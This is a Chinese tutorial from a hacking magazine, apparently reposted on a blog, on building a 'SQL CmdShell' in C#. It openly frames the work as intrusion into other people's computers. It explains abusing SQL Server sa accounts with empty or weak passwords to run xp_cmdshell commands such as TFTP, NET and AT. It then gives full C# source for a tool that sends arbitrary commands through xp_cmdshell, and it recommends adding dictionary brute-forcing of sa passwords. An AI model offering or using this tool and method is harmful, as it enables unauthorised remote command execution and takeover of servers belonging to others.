使用VC#轻松制作SQL CmdShell

使用VC#轻松制作SQL CmdShell

( 作者:mikespook | 发布日期:2003-10-7 | 浏览次数:354 )

关键字:C#,数据库,扩展存储过程,漏洞
本文已投稿《黑客安全基地》。文章为《黑客安全基地》所有,未经《黑客安全基地》同意不得转载。谢谢合作!

  你想入侵么?想拿到系统的管理员权限么?想随意的远程操作他人计算机于股掌之间呢?你会怎么做?用扫描器暴力破解Administrator密码?还是远程溢出呢?如果这些针对操作系统级入侵的的技术你觉得都不合你的胃口,你为什么不换个角度试试呢?门进不去,有窗户么!有时我们并不一定非要盯着操作系统的密码不放,因为也许系统提供的其他服务的密码会更容易得到。
  当你运行各种扫描器扫描的时候,有没有见过提供SQL Server服务的系统呢?有没有遇到扫描器报告SQL Server的sa用户口令为空或为弱口令的情况呢?如果你的答案是肯定的,那么你是否利用过这个漏洞来达成你入侵一台主机的目的呢?来吧,下面我们就看看拥有一台SQL Server的sa用户权限我们能做点什么。
  当我们拥有SQL Server的sa权限时,我们就可以执行扩展存储过程xp_cmdshell。利用查询分析器以sa用户登陆,通过xp_cmdshell来执行任何可能的语句来完成我们所预期的功能。
  比如,我们拿到了一台名叫“m-s”计算机的SQL Server的sa口令“123456”。那么我们启动SQL查询分析器(这个工具是在SQL Server的客户端附带的),填写计算机名、用户名、密码,并按确定登陆该SQL Server。如图1:
图1
  现在我们先来查看一下这台计算机C盘根目录下的内容。可以在查询分析器中输入“xp_cmdshell "dir c:/"”。就会有如图2所示的结果:
图2
  大家看到了吧?这条语句执行的结果就是这台计算机C盘根目录下的内容。你也许会说了,要C盘根目录下的内容能干什么?那么我们换个命令来执行: TFTP、NET、AT……这些命令不是你梦寐以求能在你想要入侵的计算机上执行的命令么?而这一切我们没有为得到操作系统的Administrator密码苦苦的扫描。因为利用SQL Server入侵根本不需要操作系统的管理员权限。
  但是,使用SQL查询分析器来操作很不方便。而且要安装SQL查询分析器必须安装SQL Server Client。不说别的,就安装这个的步骤与注意事项,就够我再跟小编骗好多稿费的。那么既然我们已经知道了其中的原理,为什么不自己编写一个工具呢?
  下面,我们就利用.net中System.Data.SqlClient名字空间下专门用于连接SQL Server的类用VC#来编写一个SQL-CmdShell。
  到用VC#制作SQL-CmdShell是不是有点头晕呢?又要连接SQL数据库,又要执行扩展存储过程。不用担心!由于.net类库中的功能实在是太强了,所以我们所需要手工编写的代码总共不到40行。下面,我就说一说具体的编写方法。
  当然按照我的习惯,还是首先制作我们所需要的界面(图3):
图3
  在VC#中新建一个Windows应用程序的工程,起名叫SQLCMD。在下面的说明中括号里的内容是需要修改的控件属性设置,对于没有说明的属性保留默认值。
  在窗体(Name:frmMain Text:SQL-CMDShell)上添加一个编组框(Name:groupBox1 Text:SQL服务器)。在编组框groupBox1中添加三个标签(Name:label1 Text:SQL服务器,Name:label2 Text:用户名,Name:label3 Text:密码)和三个文本框(Name:txtServer,Name:txtID Text:sa,Name:txtPassword PasswordChar:*)。同时,还要添加一个复选框(Name:cbNULLPassword Text:空密码)到编组框中去。在窗体frmMain上再添加一个列表框(Name:lbResult HorizontalScrollbar:True TabStop:False)、一个标签(Name:label4 Text:命令)、一个组合框(Name:cbCMD)和一个按钮(Name:btnCMD Text:执行)。最后再添加一个状态栏(Name:statusBar1),并且在装态栏上添加两个面板(Name:sbp Text:状态 Width:40,Name:sbpMsg)。同时为了美观,大家可以自行调整控件的Anchor属性。
  还要添加两个非可视化的数据控件。这两个控件在控件面板的“数据”项中。分别为SqlConnection(Name:sqlConn)和SqlCommand(Name:sqlComm Connection:sqlConn)
  好了,界面有了,剩下的就是编码了。
  在复选框cbNULLPassword的CheckedChanged事件中添加如下代码:
private void cbNULLPassword_CheckedChanged(object sender, System.EventArgs e)
{
txtPassword.Enabled = !cbNULLPassword.Checked;
}
  这样,当选中为空密码的时候密码框不可用。也许有的读者会提出疑问:这样做是不是有点多此一举呢?当sa为空密码的时候,我们空着密码框不填不就可以了?这当然是可以的,但是并不够完美。我稍后会解释我为什么要添加这么一个复选框。
  在组合框cbCMD的KeyPress事件中添加如下代码:
private void cbCMD_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
{
if(′/n′ == e.KeyChar)
btnCmd_Click(sender, e);
}
  当组合框获取焦点再按下回车时,就相当于点击了按钮btnCmd。
  好了,下面就该写最核心的部分了。为了说明方便,我在代码前面添加了行号。
10 private void btnCmd_Click(object sender, System.EventArgs e)
20 {
30 try
40 {
50 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 正在执行...";
60 this.Cursor = Cursors.WaitCursor;
70 string pw = null;
80 if(!cbNULLPassword.Checked)
90 pw = "password=" + txtPassword.Text + ";";
100 sqlConn.ConnectionString = "initial catalog=master;" + pw + "persist security info=" + (!cbNULLPassword.Checked).ToString() + ";user id=" + txtID.Text + ";workstation id=" + txtServer.Text + ";packet size=4096";
110 sqlComm.CommandText = "xp_cmdshell ′cmd /c " + cbCMD.Text + "′";
120 sqlComm.Connection.Open();
130 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】");
140 SqlDataReader reader = sqlComm.ExecuteReader();
150 while(reader.Read())
160 {
170 if(!reader.IsDBNull(0))
180 lbResult.Items.Add(reader.GetString(0));
190 }
200 sbpMsg.Text = "命令 ′" + cbCMD.Text + "′ 执行成功!";
210 sqlComm.Connection.Close();
220 lbResult.Items.Add("【★★★★★ /"" + cbCMD.Text + "/" ★★★★★】");
230 lbResult.Items.Add("");
240 if(!cbCMD.Items.Contains(cbCMD.Text))
250 cbCMD.Items.Insert(0, cbCMD.Text);
260 cbCMD.Text = null;
270 lbResult.SelectedIndex = lbResult.Items.Count - 1;
280 this.Cursor = Cursors.Default;
290 }
300 catch(Exception ex)
310 {
320 this.Cursor = Cursors.Default;
330 sbpMsg.Text = ex.Message;
340 }
350 }
  下面我解释一下上面的代码。
  50行是在状态栏中提示当前的命令正在运行。当整个程序在执行过程中抛出异常,会在300行捕捉异常。并在330行将捕捉到的异常的原因提示在状态栏中。
由于有的命令可能会执行比较长的时间,60行会把鼠标变成正在等待的样式。并且在命令正常执行完后,在280行恢复正常鼠标。如果在执行过程中出现异常,程序不能执行到280行的话,会在异常处理的部分恢复鼠标。也就是320行恢复。
  80行是判断sa是使用空密码登陆,还是非空密码。这里这样写是因为SqlConnection的ConectionString中有一个项 “persist security info”。当其为“True”时,说明登陆需要密码。当然这个密码也可以为空字符串。当其为“False”时,登陆不进行密码验证。这样会加快连接SQL服务器的速度。
110行就是那个扩展存储过程的命令。这里我要特别说明一下的是我使用了“xp_cmdshell ‘cmd /c [command]’”这样的形式来执行命令。你直接用“xp_cmdshell ‘[command]’”也是可以的,不过没有加“cmd /c”执行出来的结果美观而已。
第130、220、230行我纯粹是为了结果美观加的分隔符号。
  140行声明了一个SqlDataReader的实例。用以保存命令执行后的结果。从150到190行程序就是利用SqlDataReader读取命令执行的结果,并保存到列表框中。需要说明的是170行。这里必须判断读出来的记录是不是为空值,如果不为空值才可以向列表框中添加。否则会因为对空值调用GetString方法而产生异常。
  240行会判断组合框的列表项目中是否已经有当前命令。如果没有会执行250行,将当前命令添加到组合框列表中去。并在260清空组合框显示文本。
  270行是为了上卷列表框,显示最新的命令执行结果。
至此,一个简单的SQL-CMDShell就制作完成了。怎么样效果还不错吧?(图4)
图4
  还是我的老习惯,对我没有完成的功能给大家一点提示。
  1. 当你在运行这个程序的时候,执行命令会比较慢。这是因为每次执行一个命令就需要从新连接数据库,执行扩展存储过程,然后断开与数据库的连接。你可以想办法在执行命令前一次连接,以后只要执行存储过程就可以了。
  2. 由于命令执行比较慢,实际上在执行150行的while语句的时候,程序是处于无响应状态。为了避免这种情况,可以使用多线程。(多线程的使用请参考我前面写的关于VC#制作多线程扫描器的文章)
  3. 大家还是可以参考我前面写的关于VC#制作多线程扫描器的文章。添加利用字典来暴力扫描sa口令的功能。将这个SQL-CMDShell做成真正好用的工具。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值